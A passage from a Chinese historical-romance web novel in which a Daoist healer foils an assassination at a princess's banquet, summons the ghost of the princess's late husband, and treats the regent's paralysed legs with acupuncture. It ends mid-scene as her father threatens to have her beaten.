乐声与酒香交织,其间还夹杂着阵阵调笑,可慕容浅却敏锐地察觉,所有声音都刻意维持在某个分寸,像是被无形的丝线牵引,透着说不出的刻意与压抑。 “来了?” 萧茵茵琥珀色的酒液在夜光杯中轻轻摇晃,目光扫过慕容浅时,带着几分慵懒的兴味,“你看我这公主府,是不是比道家的逍遥仙镜还要快活。” 她抬手示意身侧侍女,“赐座,上酒。” 鎏金酒盏被放置在慕容浅面前,琥珀色的酒液泛着诱人的光泽,隐隐飘出桂花香气。 慕容浅望着杯中摇曳的倒影,想起坊间关于长公主豢养面首的传闻,又看了眼席间谈笑的男女,心中暗叹 —— 世人只道她风流放诞,却不知这看似奢靡的表象下,藏着怎样的寂寥。 “怎么,怕本宫的酒不干净?” 萧茵茵忽然轻笑出声,金镯重重磕在案几上,发出清脆声响,“还是说,你觉得,喝了本宫的酒,便会污了清名?” 慕容浅垂眸浅笑,广袖轻扬间已端起酒盏。 她仰头一饮而尽,辛辣的酒液顺着喉间流下,却眉头都未皱一下,“我素来不嗜酒。有人借酒消愁,可在我看来……” 她指尖轻点酒盏,眼中闪过一抹清亮,“愁绪若能被酒水浇灭,倒也简单了,只怕是借酒消愁愁更愁。” 萧茵茵闻言微微一怔,随即仰头大笑,笑声惊得梁间燕雀扑棱棱乱飞。 她盯着慕容浅的目光愈发炽热,仿佛要将眼前人看穿:“好个借酒消愁愁更愁!有趣,当真是有趣!” 琥珀酒液滑入喉间的刹那,慕容浅余光瞥见一抹黑影。 长公主身侧的软垫上,正卧着只通体如墨的猫,双耳尖生着雪白绒毛,最诡异的是那双眼睛 —— 左眼如寒潭凝蓝,右眼似幽草染绿,烛火掠过瞳仁时,竟有金线如流萤般游走,将它周身都笼上层妖异光晕。 黑猫蜷成毛团,前爪搭在长公主手腕边,却在慕容浅注视下缓缓支起身子。 它弓着脊背舒展懒腰,蓬松尾尖扫过锦缎时发出沙沙轻响,那双异色瞳孔死死锁住慕容浅,仿佛能看穿人心。 “盯着阿夜做什么?” 萧茵茵染着丹蔻的指尖勾住猫下巴,护甲刮过皮毛发出细碎声响,“这小东西性子孤僻,旁人多看两眼便要挠人。” 慕容浅指尖摩挲着杯沿,望着黑猫颈间悬着的青铜铃铛:“公主府钟灵毓秀,连猫都透着灵气。” 萧茵茵懒洋洋地歪在软垫上,手指轻轻拂过黑猫脊背,看它舒服地弓起身子,绸缎般的皮毛在烛火下泛着幽光。 “这小东西啊……” 她忽然轻笑,声音却带着几分沙哑,“自打驸马走后,它就突然出现在府里,怎么赶都赶不走。” 第64章 荔枝 黑猫琥珀色的竖瞳微微收缩,忽然将脑袋埋进她掌心,喉咙里发出低低的呜咽。 萧茵茵修长的手指穿过它蓬松的毛发,望着殿外摇曳的树影,眼底泛起一层薄雾:“有时候瞧着它,总觉得是故人派来的……连性子都像,表面冷冷清清,却又……” 她的声音戛然而止,指尖无意识地摩挲着猫耳尖的白毛。 殿内丝竹声依旧喧闹,却掩不住这一隅的寂寥。 黑猫突然仰起头,碧蓝色的眼睛里竟像是蒙着层水光,“喵呜” 一声轻叫,轻轻舔过她指尖的丹蔻,像是在安抚,又像是无声的叹息。 宫灯将殿内映得恍若白昼,侍女捧着水晶盘款步而入。 盘中鲜红荔枝颗颗饱满,宛如浸在寒玉里的凝血。 萧茵茵漫不经心地挥了挥手,又一盘荔枝便被摆在慕容浅案前。 她戴着护甲的手指捏起一颗,指甲轻划,薄如蝉翼的果皮裂开,露出晶莹剔透的果肉。 “岭南进贡的荔枝,” 她将果肉在指尖转了转,唇角勾起一抹嘲讽,“八百里加急,累死多少快马,又折了多少人命……不过是为了博贵人一笑。” 话音未落,琥珀色的酒液便顺着杯壁滑落,在绣着金线牡丹的桌布上晕开深色痕迹。 慕容浅望着盘中荔枝,忽然眉头微蹙。 清甜果香中,一缕若有若无的苦涩气息钻入鼻尖。 她猛地抬头,正看见萧茵茵将荔枝果肉送入口中,当即脱口而出:“公主且慢!” 与此同时,黑影如闪电般窜出。 黑猫阿夜弓着背跃上长榻,利爪拍向萧茵茵的手腕。 荔枝 “啪嗒” 落地,在青砖上溅出暗红汁液。 萧茵茵猝不及防之下,手中酒盏应声而碎:“阿夜!你发什么疯?” 阿夜毛发倒竖,喉咙里发出低沉的嘶吼,死死盯着方才端荔枝的侍女。 那侍女脸色骤变,猛地撕开广袖,寒光一闪,软剑直刺萧茵茵咽喉。 萧茵茵酒意上涌,反应慢了半拍,眼看着剑锋逼近。 千钧一发之际,阿夜凌空扑来,利齿狠狠咬住侍女手腕。 “铛” 的一声,软剑坠地,侍女与黑猫在地上翻滚缠斗。 殿外传来急促脚步声,数名带刀侍卫破门而入,将侍女死死按住。 “狗皇亲!我父亲不过是运荔枝迟了半日,就被斩首示众!今日我便要你们血债血偿!”那侍女状若疯狂。 萧茵茵跌坐在榻上,望着阿夜腿上渗出的鲜血,神色复杂。 那黑猫抖了抖皮毛,摇摇晃晃走到她脚边,轻轻蹭了蹭她的裙摆,喉咙里发出微弱的呜咽。 殿内烛火摇曳,萧茵茵跪坐在软垫上,护甲早已卸下,指尖小心翼翼地蘸着药膏,涂抹在黑猫阿夜渗血的伤口上。 那黑猫一改方才的凶悍,温顺地趴在她膝头,尾巴轻轻缠上她手腕,碧蓝色的眼睛半阖着,偶尔发出几声低低的呜咽,像是在安抚主人。 “疼了吧?” 萧茵茵声音轻柔,全然不见方才的慵懒与凌厉。 她将伤口细细包扎好,末了在猫头上轻轻一吻,“你又救了我一次……” 话音未落,喉头已泛起哽咽。 慕容浅静静立在一旁,将这一幕看在眼里。 侍女被拖走时的咒骂声、侍卫们的呵斥声,都随着殿门的关闭渐渐远去。 方才激烈打斗留下的狼藉已被清理干净,唯有空气中还残留着淡淡的血腥味与酒香。 萧茵茵忽然抓起酒壶,仰头灌下一大口。 琥珀色的酒液顺着她下颌滴落,在红衣上晕开深色痕迹。 “外人都道我萧茵茵风光无限,” 她的笑声里带着几分自嘲,“可谁知道,像今日这般的刺杀,一年里究竟要经历多少回?” 她猛地将酒壶砸在案几上,“那些人恨我,恨我生在皇家,恨我享尽荣华…… 可谁又问过我,这荣华背后,是多少个不眠之夜?” 殿内一片死寂,唯有烛芯爆裂的声响。 萧茵茵垂着头,发丝散落在肩头,看不清神情。 良久,她轻声道:“有时候我也在想,活着这般痛苦,又有何意义?” 她抬起头,眼中满是疲惫,“慕容浅,你说……若有一日我真的去了,是解脱,还是……” 话音戛然而止,她又抓起酒壶,一饮而尽。 黑猫阿夜似乎听懂了萧茵茵的话,碧色瞳孔微微颤动,强撑着受伤的身子往她怀中拱了拱。 它的尾巴轻轻缠住她手腕,喉间发出呜咽般的低鸣,湿润的鼻尖一下下蹭着她泛红的眼角,琥珀色的竖瞳里流转着近乎人类的疼惜。 萧茵茵喉间梗塞,指尖死死揪住阿夜顺滑的皮毛,忽然笑出声来:“连你都觉得我可笑,是不是?” 她的声音带着醉意的沙哑,宫灯在她脸上投下斑驳阴影,“坐拥金山银山,却活得像个囚徒……” 慕容浅上前半步,扶起被打翻的酒盏,“公主可知,道观山脚下的老樵夫,每日背着柴火走三十里山路,只为换米养活瘫痪的妻子。” 她望着烛火中摇曳的阴影,声音清泠如泉,“世人皆苦,有人困于贫贱,有人囿于高位,公主该看开些。” 萧茵茵倚在软垫上,猩红裙摆拖曳在地,手指磕在酒壶上发出钝响。 她眼神迷离地盯着怀中黑猫,似乎透过它看到了某个伟岸的身影,酒气混着龙涎香在殿内弥漫:“玄夜……你说过会护我一世周全,如今这满朝风雨,你却躲到哪里去了?” 黑猫阿夜喉间发出呜咽,蓝绿双色瞳孔蒙上水雾,前爪轻轻搭在她手腕,似要擦去那摇摇欲坠的泪珠。 萧茵茵突然抓住慕容浅的衣袖,指尖冰凉:“听闻你精通道法,你告诉我 —— 人死后,魂魄是否真的存在?” 慕容浅望着她泛红的眼眶,心中已然明了,却不急着回答:“公主何出此言?” “因为……因为我总能感觉到他并没有死,他仍然在看着我!” 萧茵茵猛地灌下一口酒,琥珀色酒液顺着下颌滴落。 “所有人都说玄烨战死北疆,说他带领的玄甲军遭叛徒出卖,中了埋伏,被万箭穿心……” 她的声音突然哽咽,指甲深深掐进掌心,“万箭穿心啊!该是怎样的剧痛?我闭眼就能看见他浑身浴血的模样……” 第65章 魂兮 殿外夜风呼啸,吹得烛火明灭不定。 萧茵茵踉跄着起身,猩红裙摆扫落案上,跌跌撞撞走到窗边:“每日,我都会登上城楼向北眺望。那里……那里是北疆,是我夫君战死的地方。” 她的笑声带着哭腔,“他们说我养面首、宴宾客,是荒诞无度的长公主……可若不将自己灌得烂醉,我又如何熬过漫漫长夜?” 黑猫阿夜突然跃到窗棂上,碧色瞳孔映着北疆方向的冷月,喉间发出凄厉的叫声,与萧茵茵压抑的啜泣声,在空旷的殿内交织成一曲悲歌。 宫灯在萧茵茵鬓边投下细碎的光晕,护甲勾住鲛绡帘幔的刹那,慕容浅听见萧茵茵的呼吸骤然凝滞。 沉沉暮色顺着掀起的帘角漫入殿内,将墙上那幅半人高的画卷染成朦胧的剪影。 玄色劲装的将军手持长枪,眼角眉梢尽是意气风发,腰间玉佩与萧茵茵腰间的那枚,分明是一对。 “这是他出征前最后一幅画像。” 萧茵茵的声音像是从很远的地方飘来,她缓步上前,猩红裙摆扫过满地月光,竟在青砖上拖出一道血色痕迹。 指尖抚过画中玄夜微扬的嘴角,萧音音呢喃,“这副画得还是不像,玄夜笑起来眼睛里有光。” 殿外的风卷着残叶扑进窗棂,烛火猛地明灭。 黑猫阿夜弓起脊背跃上窗台,蓝绿双色瞳孔死死盯着画像,喉间发出压抑的呜咽。 萧茵茵恍若未闻,只是轻声念诵:“悠悠生死别经年,魂魄不曾来入梦……” 尾音消散在空气中时,她忽然笑了,泪珠却顺着下颌砸在画像上,“乐天倒是写透了,可他终究没尝过,连魂魄都等不到的滋味。” 慕容浅望着画中将军的眉眼,想起白日里坊间流传的长公主奢靡传闻。 此刻月光爬上萧茵茵的鬓角,将她眼角的细纹照得纤毫毕现,才惊觉这位叱咤京城的贵女,早已在无数个思念的长夜中,悄然老去。 “起初我不信,总想着只要盼得够久,他总会踏着月色归来。” 黑猫阿夜无声地蜷入她膝弯,蓝绿双色瞳孔映着她低垂的眉眼。 萧茵茵无意识地梳理着它绸缎般的皮毛,护甲滑过脊背的声响,与远处更漏的滴答声融成单调的韵律。 “玄夜宁死不退,他的死为皇兄的大军赢得了时间。” 她的目光穿透雕花窗棂,望向无尽的夜色,“凯旋之日皇兄追封玄夜,封了又封,又有何用?那些折子上的壮烈、忠勇,字字都像射在我心上的箭。” 她指尖抚过画像上玄夜握剑的手,声音轻得近乎呢喃:“你走后,我学着你从前的样子,在城楼上看百姓往来。春种秋收,婚丧嫁娶,人间烟火依旧热闹,可再没人会在我耳畔说‘别怕,有我在’。” 黑猫阿夜突然立起身子,用脑袋蹭她颤抖的手背,喉间发出低低的呜咽。 萧茵茵俯身将脸埋进它柔软的皮毛,许久才闷声开口:“我总在想,是不是他怨我。怨我没能拦住他出征,怨我连最后一面都见不到。” 她直起腰时,眼底浮起层薄雾,却倔强地不肯让泪水落下,“几百个夜晚,我数着更漏等他入梦,可连梦里都是他转身离去的背影。” 萧茵茵的目光从画像上收回,她望着慕容浅,眼底跳动着近乎偏执的光亮:“你既精通道法,能否……让我见他一面?哪怕只说一句话。” 慕容浅望着她鬓边凌乱的珠翠,轻声劝道:“阴阳两隔,即便相见,不过徒增怅惘。何苦……” “不!” 萧茵茵突然攥住她的手腕,护甲的凉意透过衣袖渗进皮肤,“若不是想着能等到他,我早该随他去了。可我不敢……” 她的声音陡然哽咽,“我怕寻不到他的魂魄,怕他在黄泉路上等得太久已经走的太远……” 殿外传来黑猫阿夜低低的呜咽,蓝绿双色瞳孔映着窗棂外的冷月。 萧茵茵松开手,踉跄着走到慕容浅身前,从裙边摘下一枚刻着螭纹的玉佩。 温润的玉色在烛光下泛着微光,却在慕容浅眼中化作寒芒 —— 那分明是能调动千军的虎符! “这是玄夜出征前留给我的。” 萧茵茵将玉佩贴在胸口,声音带着绵长的思念,“一对虎符,他执半块号令玄甲军,我藏半块坐镇京城。皇兄纵容我在京中行事,何尝不是忌惮这虎符的力量?” 她指尖抚过虎符上的刻痕,仿佛触碰着故人的温度,“如今他去了,这虎符于我而言……不过是块盼他归来的望夫石罢了。” 慕容浅接过虎符,感受到掌心传来的微温。 符咒在袖中无风自动,桃木剑发出清越的嗡鸣。她望着萧茵茵苍白却坚定的面容,终于颔首:“子时三刻,以虎符为引,以精血为契。但公主需知,此术逆天而行,稍有差池……” “我甘愿一试。” 萧茵茵望着墙上玄夜的画像,泪珠坠落在虎符螭纹间,“只要能再见他一面,便是魂飞魄散,又何妨?” 子时三刻,铜漏的水滴声仿佛凝固在空气里。 慕容浅将桃木剑插入法阵中央,三十六盏白烛骤然暴涨,素纱帐幔被无形的风吹得猎猎作响。 萧茵茵褪去平日里艳丽的华服,一袭素白衣裙垂落如霜,乌发如瀑倾泻而下,发间唯一的装饰,是玄夜出征前亲手为她簪上的银簪。 她咬破指尖,鲜血滴落在虎符玉佩上的刹那,整座庭院突然陷入死寂。 黑猫阿夜蹲坐在房门外,蓝绿双色的瞳孔映着屋内忽明忽暗的烛火,尾巴不安地拍打地面。 一阵阴风吹过,烛火诡异地弯向同一方向,玄夜的身影便在门扉处缓缓浮现。 萧茵茵跪坐在蒲团上,素白裙裾如月光流淌。 “茵茵,我回来了。” 熟悉的声音从烛火深处传来,萧茵茵浑身剧震,绣鞋踩翻了身侧的茶盏。 玄夜的身影在门扉处凝实,银甲上的血渍还泛着暗红,可眉眼间的笑意却与记忆里分毫不差。 她踉跄着扑上前,却在触及虚影的刹那僵住 —— 指尖穿过他的胸膛,只余冷冽的雾气。 第66章 黎明 “是你……真的是你……” 萧茵茵的声音碎成颤抖的残片,伸手想要触碰他染血的脸庞,“这十年,我数着更漏等你,在城楼上望断了多少个晨昏……” 玄夜的虚影泛起柔和的光晕,抬手虚拢住她的脸庞,动作与当年如出一辙:“我的傻公主,怎么瘦成这样?” 熟悉的声音如重锤般砸在萧茵茵心口,眼前人依旧是记忆中的模样,银甲虽染血痕,眉眼却仍是当年那个意气风发的少年将军。 “你还是十年前的样子……” 萧茵茵颤抖着抬手,却只能穿过虚影,泪水夺眶而出,“可我已经老了……” 玄夜的虚影泛起柔和的光晕:“在我眼里,你永远是掀起红盖头的那一日,凤冠霞帔,惊鸿一瞥。” 他的声音带着跨越生死的温柔,“这些年,辛苦你了。” 萧茵茵再也忍不住,呜咽声混着破碎的话语溢出:“我守着虎符,守着我们的承诺,可每一个夜晚…… 都好像过了一辈子那么长……” 慕容浅望着相拥却无法触碰的两人,轻轻放下桃木剑,悄然退出房门。 临走前,她轻声提醒:“卯时鸡鸣,阴阳归位。” 两个人痴痴相望,似乎无人在意。 萧茵茵突然笑出声,泪珠却扑簌簌砸在衣襟上:“世人都说我萧茵茵荒唐,养面首、宴宾客……” 她抓住他虚幻的手腕,仿佛要将十年的委屈都揉进声音里,“可他们哪里知道,我只是想在热闹里……寻一点你还在的错觉。” 玄夜沉默,目光扫过她鬓角新添的白发:“那日中了埋伏,万箭穿心时,我想着只要护住军旗,就能回家见你。” 他的声音带着哽咽,“后来我才明白,我回不来了,以后的路……你得一个人走。” “为什么不来梦里见我?” 萧茵茵攥紧他的衣袖,布料在指间化作点点星光,“几百个夜晚,我求神拜佛,却连你的衣角都抓不住……” “因为舍不得。” 玄夜的虚影渐渐透明,却仍固执地将她拢在怀中,“若在梦里见你,你便要困在回忆里了。我的茵茵,该像北疆的红柳般活着,经得住风沙,熬得过寒冬。” 他的唇轻轻落在她发顶,“记得我们的约定吗?要一起踏遍山河,看尽长安花。” 萧茵茵将脸埋进他虚幻的胸膛,泪水浸透不存在的衣料:“可没有你……” “不,我一直在。” 玄夜的声音混着晨钟传来,渐渐消散在曙光里,“阿夜会陪着你,虎符会护着你,这万里江山……都是我给你的承诺。” 卯时鸡鸣响起时,慕容浅在前厅望见朝霞染红窗棂。 卧房的门缓缓打开,萧茵茵抱着黑猫立在晨光中,素白裙角沾着露水,眼底却燃烧着重生的火焰。 黑猫阿夜蓝绿双色的瞳孔映着朝阳,轻轻蹭过她的脸颊,像是在诉说未尽的誓言。 当萧茵茵披着晨曦走到前厅时,慕容浅几乎认不出眼前人。 褪去了往日刺目的猩红,萧茵茵身着月白色广袖襦裙,发间仅斜插一支竹簪,眉眼间萦绕的不再是醉生梦死的艳丽,倒像是被晨露浸润过的玉兰花,温润又通透。 晨光漫过雕花窗棂,为萧茵茵月白色的裙裾镀上一层柔光。 她将青瓷茶盏推向慕容浅,指尖无意识摩挲着杯壁上的花纹,昔日张扬艳丽的丹蔻已尽数褪去,露出素白得指尖。 “昨夜玄夜说,我该像北疆的红柳般活着。” 她唇角扬起一抹释然的笑,声音里带着劫后余生的通透,“原来这十年来,我困在自己筑起的牢笼里,竟忘了他最爱的,是我肆意鲜活的模样。” “公主能看开就好。”慕容浅淡淡微笑。 黑猫阿夜跃上案几,蓝绿双色的瞳孔映着主人的笑颜,轻轻将脑袋蹭进她掌心。 萧茵茵抚过它柔顺的皮毛,目光转向墙上玄夜的画像,眼中盛满眷恋与释怀:“他说山河万里皆是情书,要我替他看遍长安花。如今想来,若整日沉溺在悲伤里,倒辜负了他用性命守护的太平。” 话音未落,她忽而轻笑出声,抬手将鬓边碎发别到耳后:“说起来,还要多谢你。若不是你,我怕是要带着满心执念,错过往后无数个日出了。” 慕容浅端起茶盏,望着温润热气,“顺应本心,便是道法自然。公主若想追忆,便将思念酿成酒入喉,若想前行,就把牵挂化成风。” 萧茵茵回眸看她,“没想到你年纪不大,倒比我看得还透。” 慕容浅回道,“修道之人,不求勘破生死,只求无愧于心。” 萧茵茵望向窗外初升的朝阳,眼中泛起温热的光,“好一个无愧于心,从今日起,我萧茵茵不再是那个醉生梦死的长公主,倒要让这京城,瞧瞧真正的我该是什么模样。” 她莞尔一笑,“多谢你圆了我十年夙愿。这个人情我记下了。” 慕容浅见她确已释怀,便告辞。 萧茵茵倒也没留她,摆了摆手,“ 快回去吧,再不走,某人可要提着剑闯进来了。” 慕容浅握着茶盏的手微微一滞,不解地抬头。 直到踏出公主府大门,晨光里那辆熟悉的玄色马车撞入眼帘,她才猛地反应过来。 车轮碾过石板路的辙印旁,凝结的露水在朝阳下泛着微光 —— 分明是停驻了整夜的痕迹。 马车帘子被掀开,裴子慕清隽的面容露出来。 他握拳抵在唇边轻咳两声,声音里带着刻意的淡然:“皇姐,慕容姑娘,本王早起巡城,恰好路过。” 萧茵茵倚在朱漆门旁,指甲轻轻叩着门框,似笑非笑的目光在两人间流转。 慕容浅望着车辕上未干的夜露,又看看摄政王紧绷的下颌线,突然觉得喉间发紧 —— 想来从她踏入公主府那刻起,这辆马车便悄然停在了街角。 “既然偶遇了姑娘……” 裴子慕别开眼,伸手撩起车帘,露出里面铺着软垫的座椅,“本王旧疾又犯,慕容姑娘可否再为我医治一二?” 他的声音越来越低,最后几个字几乎消散在晨风里。 萧茵茵的轻笑混着鸟鸣传来,慕容浅望着车辕上蜿蜒的露水痕迹,不由自主的点点头。 晨光落在裴子慕的鬓角,酿成了萦绕在晨雾里的温柔。 第67章 站立 摄政王府。 药炉氤氲着艾草香气,慕容浅刚拈起银针,雕花屏风后忽然探出半张笑脸。 “浅丫头来啦!” 老王妃喜滋滋的拎起裙摆,慕容浅刚想行礼却被她拉住。 “快别多礼,赶紧给这臭小子施针,哀家就在旁边看着。” 慕容浅捻起银针,指尖悬在裴子慕膝弯三寸处:“王爷且忍一忍。” 老太妃插话,“堂堂摄政王难道还怕痛?” 她朝慕容浅眨眨眼,“浅丫头莫理他,大胆施针便是。” 话音未落,细如牛毛的银针已如蝶翼般翩然入穴。 裴子慕闷哼一声,藏在广袖下的手攥紧软垫,却见少女睫毛轻颤,专注的模样倒比他更紧张。 当第三根银针没入环跳穴时,裴子慕忽然感觉有热流顺着经络游走。 老太妃嘴上说着狠话,眼睛却一眨不眨的盯着裴子慕的腿,见他有反应,连忙问道,“怎么样,可有什么感觉吗?” 裴子慕点点头,“似乎好了许多,不再像之前那么麻木。” 三炷香后,慕容浅收了银针。 “王爷要不要试试能不能站起来?” 她伸手搀扶,掌心的温度透过锦缎传来。 老太妃屏住呼吸,不敢打扰两人。 裴子慕撑着轮椅扶手起身,双腿刚触地时膝盖发软,却在瞥见少女担忧的眼神后咬牙发力。 青玉地砖沁来的凉意顺着鞋底漫上小腿,当他松开支撑的掌心,踉跄着迈出第一步时,玄色锦靴擦过地面的沙沙声在寂静的花厅里格外清晰。 太妃手中的香炉 “当啷” 撞在案几上,翡翠佛珠散落一地。 “真的……站起来了!” 裴子慕望着自己微微发抖的双腿,喉结剧烈滚动。 十年来困在轮椅上的沉疴,此刻竟化作胸腔里翻涌的热浪,连声音都带着破碎的震颤。 慕容浅扶住他摇晃的身形,素白衣袖拂过他紧绷的臂膀:“王爷莫急!筋骨初愈,贸然久立恐伤根基。” 慕容浅又从药箱取出一卷绷带:“王爷的腿虽有起色,但经脉尚未完全稳固,需辅以药浴与缓行之法。” 整个花厅陷入死寂 —— 旋即爆发出太妃压抑不住的啜泣。 “我的儿!” 太妃攥着儿子的衣袖,白发随着颤抖轻晃,“这么多年了…… 哀家总想着不知道你的腿什么时候能好。” 她突然转身抱住慕容浅,檀香混着脂粉气扑面而来,“好孩子,你就是菩萨派来的救星!” 老太妃一叠声的唤侍女,“快!快去给菩萨上香,哀家太高兴了!” 却见裴子木抬手制止了要冲出去的宫婢,他垂眸凝视着自己的脚尖,眼底翻涌的情绪渐渐凝成冷锐的锋芒:“母亲,此事不宜声张,还请保守秘密。” 老太妃一愣,随即了然,召回了侍女。 裴子慕看着夜无殇,“传令下去,本王往后出行依旧乘坐轮椅。” 这边老太妃拉住慕容浅的手,冰凉的指尖微微发颤,“好孩子,你这双手当真是妙手回春。” 慕容浅浅笑回应,“王爷命格尊贵,自有上天庇佑,我不过略尽绵薄之力。” 老太妃此时喜不自胜,忽然又嗔怪的看向裴子慕,“浅丫头忙活了一早晨,恐怕肚子早就饿了,你还不快去传早膳。” 花厅里摆开精致茶点,太妃亲手将玫瑰酥推到慕容浅面前,丝帕优雅地托着碟子:“尝尝这手艺,可比御膳房那帮老头子强多了。 她又感慨:“瞧瞧这巧手,既能治病又会施针。谁家小子娶了你,简直是八辈子修来的福气!” 她忽然斜睨裴子慕,“哪像有些人,整日板着脸,心里装着人也不知说……” 裴子慕搁在腿边的手骤然收紧,耳尖泛红:“母亲又打趣。” 慕容浅望着他有些慌乱的模样,咬了口酥酪,甜香在舌尖散开。 天色浸染院墙时,太妃亲自将慕容浅送至马车旁,还往她袖中塞了包桂花糖。 “记得常来!” 老太妃攥着她的手不肯放,忽而朝裴子慕使了个眼色,“还不送送恩人?” 回侯府的路上,裴子慕忽然轻咳一声,袖下的手指无意识摩挲着轮椅扶手:“方才母妃多有唐突,自先皇驾崩后,她鲜少如此开怀……” 他顿了顿,目光落在车外摇曳的柳树上,“今日见我能站立,才这般失态。” 慕容浅望着他耳尖未褪的薄红:“王爷不必介怀。” 她唇角扬起浅笑,想起老太妃往她手里塞桂花糖时狡黠的眼神,“太妃性情爽朗,与她相处反倒自在。” 裴子慕喉头微动,转头时撞进少女明亮的眼眸。 两人端坐车厢内,呼吸混着车外的市井喧嚣,裴子慕只希望这条路长一些,再长一些。 玄色马车碾过青石板,在侯府门前缓缓停下。 雕花车门开启时,裴子慕修长的身影出现在晨光中,墨色锦袍上暗绣的麒麟纹随着动作若隐若现。 慕容延快步迎上前,腰间玉佩轻晃,虽未刻意弯腰,语气却满是恭敬:“不知王爷大驾光临,有失远迎。” “慕容大人言重。” 裴子慕敛衽行礼,姿态端方如松。 这一礼行得郑重,倒让慕容延愣了神。 他虽为朝中老臣,可摄政王向来位高权重,如此执子侄礼,实在出乎预料。 寒暄片刻,裴子慕告辞离去,慕容浅转身想往府里走。 望着她的背影,慕容延气不打一处来。 “站住!” 慕容延的锦袍扫过石阶,腰间玉佩撞出冷硬声响。 他看着女儿挺直的脊背,忽然想起十年前将她赶出侯府时,也是这样倔强的姿态。 特别是从道观归来后,慕容浅看他的眼神愈发疏离,像是隔着层永远化不开的霜。 “你如今倒是出息了,长公主府、摄政王府,哪处高门你攀不上?” 慕容浅缓缓转身,晨光勾勒出她清冷的轮廓:“侯爷有话不妨直说。” 她的声音平淡如古井,却让慕容颜心头腾起无名火,明明是自己血脉,为何如今连语气都透着刺骨寒意? “你可知海棠宴上你的话,传得满城风雨?” 慕容颜怒指她,“女子无才便是德,你倒好,公然宣扬女子当自立!” 他越说越气,仿佛又看见宴会上女儿惊艳众人的模样,那些关于 “巾帼不让须眉” 的言论,像锋利的刀刃,划破了世家大族的体面。 第68章 罚跪 “当初送你去道观,原是让你修身养性,怎的学来一身叛逆!” 慕容浅垂眸看着袖中微微发烫的桃木剑穗,想起在青山观听雨诵经的日子。 那时的月光清透,不像此刻侯府的阳光,总带着挥之不去的阴影。 “侯爷当初赶我出门的时候,就该想到有这一天。” 她抬起眼,目光平静却锐利,“现在又何必端出父亲的架子训斥我?” 这句话如同一记重锤,砸得慕容延踉跄后退。 他看着女儿陌生的面容,忽然意识到曾经那个乖巧听话的孩童,早已在他看不见的地方,长成了无法掌控的模样。 而与权贵们牵扯不清的女儿,更像是悬在侯府头顶的利剑,不知何时就会落下。 “你……你想反了不成!” 慕容延的怒吼惊飞檐下白鸽,可回应他的,只有慕容浅转身离去的背影,以及裙裾扫过落叶时细碎的声响。 “站住!” 这声厉喝让慕容浅的脚步顿了顿。 她转身时,正见慕容延冷笑的嘴角挂着鄙夷,眼底翻涌着警惕与不安。 慕容延跨步上前,靴底碾碎落在石阶上的花瓣:“别以为我不知道,你与摄政王到底什么关系?” “不过是医者和病人的关系。” 慕容浅垂眸,声音清淡得如同道观晨雾,“王爷腿疾,我施以针灸之术。” “你说什么?” 慕容延惊讶,眼底翻涌着难以置信,“你在给摄政王治腿?” 慕容浅垂眸望着石阶上的苔痕,指尖无意识摩挲着药囊的系带。 晨露未散的空气里,慕容延急促的呼吸声格外刺耳。 “是的。” 她轻声道,声音如同道观檐角垂落的雨珠,清冷却无波。 慕容延死死盯着女儿素白的衣角,仿佛要从上面看出些隐秘。 “太医院那么多御医都治不好的顽疾,” 他的声音带着试探的意味,“你当真有把握?他的腿……到底能不能治好?” 微风卷起慕容浅鬓边的碎发,她抬眼望向侯府飞翘的屋檐,那里有只灰雀正扑棱着翅膀。 “尽力而已。” 她的回答很敷衍,“毕竟受伤多年,目前尚未有起色。” “哼,我就知道,就凭你?” 慕容延松了一口气,又冷哼出声,“太医院三十余位御医都束手无策,你那点从道观学来的把戏,也敢去献丑?” 他眯起眼睛,上下打量着女儿单薄的身形,“我看你是存了攀高枝的心思!” 慕容浅抬眼,目光平静却似淬了冰:“医者眼里没有身份高低。” 慕容延看着慕容浅垂眸而立的淡然模样,袖中紧握的拳头青筋暴起。 晨风卷着落叶掠过石阶,却吹不散他眼底翻涌的怒意。 这个本该对自己恭顺有加的女儿,自青山观归来后,周身仿佛裹着一层拒人千里的寒冰。 “你眼里还有没有我这个父亲?” 他的怒吼震得廊下铜铃乱颤,蟒纹锦袍随着急促的呼吸剧烈起伏,“连一声‘父亲’都不肯叫?” 慕容浅却只是站着不动,连抬眼的动作都带着刻意的疏离,素白裙裾如同屏障横亘在父女之间。 这种漠视比任何顶撞都更让他愤怒。 作为侯府之主,朝堂上大小官员见了他都要尊称一声 “侯爷”,可在亲生女儿面前,他却像个被剥去华服的小丑,连最基本的尊严重都荡然无存。 “别以为治了几次病,跟摄政王和长公主攀上关系就不把我放在眼里!” 他向前半步,试图用威压夺回掌控权,却见慕容浅后退一步,姿态透着实质的抗拒。 “侯爷若没别的吩咐,容我告退。” 慕容浅终于开口,声音平静得像一汪深潭,听不出半分情绪。 这声称呼非但没让慕容延消气,反而像根刺扎进心里。 如此生疏的语调,哪里是唤父亲,分明是应付陌生人的客套。 看着女儿转身离去的背影,慕容延气得浑身发抖,他想把这个女儿拿下狠狠责罚,却又想起摄政王方才谦卑行礼的模样,满腔怒火生生咽回喉间,化作冷笑:“你与摄政王到底什么关系?满城都传你们暗通款曲,你身为侯府女儿,竟如此不知检点?” 慕容浅猛地回头,语气带上不耐,“若侯爷觉得不妥,下次摄政王再请我医治,我便回侯爷不许,可好?” 她抬眼时,晨光正落在眼尾,映得那眼神凉得刺骨。 “你!……” 慕容延胡须剧烈震颤,想要发作,喉间却像被无形的手掐住,涨红着脸说不出半个字。 恰在此时,秦氏的软烟罗裙裾扫过月洞门,发出细碎声响:“老爷消消气。” 她款步上前,指尖捏着绣帕虚掩唇角,眼角余光却瞟向慕容浅,“依我看,摄政王虽有腿疾,可手握虎符、权倾朝野,倒也配得上大姑娘……” 她假意对慕容浅笑着,“大姑娘,若是摄政王对你有意,我看也不失为一桩好姻缘。” “秦夫人既然如此看重摄政王手中的权力,何不将亲生女儿许配过去?” 秦氏语结。 慕容延用手指着慕容浅,指尖都气的发抖,“你看看这个不孝女,我不过为着她的名声多问几句,你听她怎么回我的!” “名声?咱们侯府还有名声吗?”慕容浅冷笑,“早在您宠妾灭妻,将嫡子嫡女赶出家门的那一刻,侯府的名声早就扫地了。” “反了!统统反了!” 慕容延的怒吼震得廊下铜铃乱颤,蟒纹锦袍扫过青石栏杆时带起刺耳声响。 他猛然挥袖,手掌重重砸在檀木桌上,震得香炉里的香灰簌簌飞扬:“取家法!今日我非打断这孽障的腿不可!” 就在家丁们弓着身子要退下时,一道拄着乌木拐杖的身影撞开雕花月洞门。 慕容烨单膝微屈,借力撑住拐杖,苍白的指节因用力而泛白。 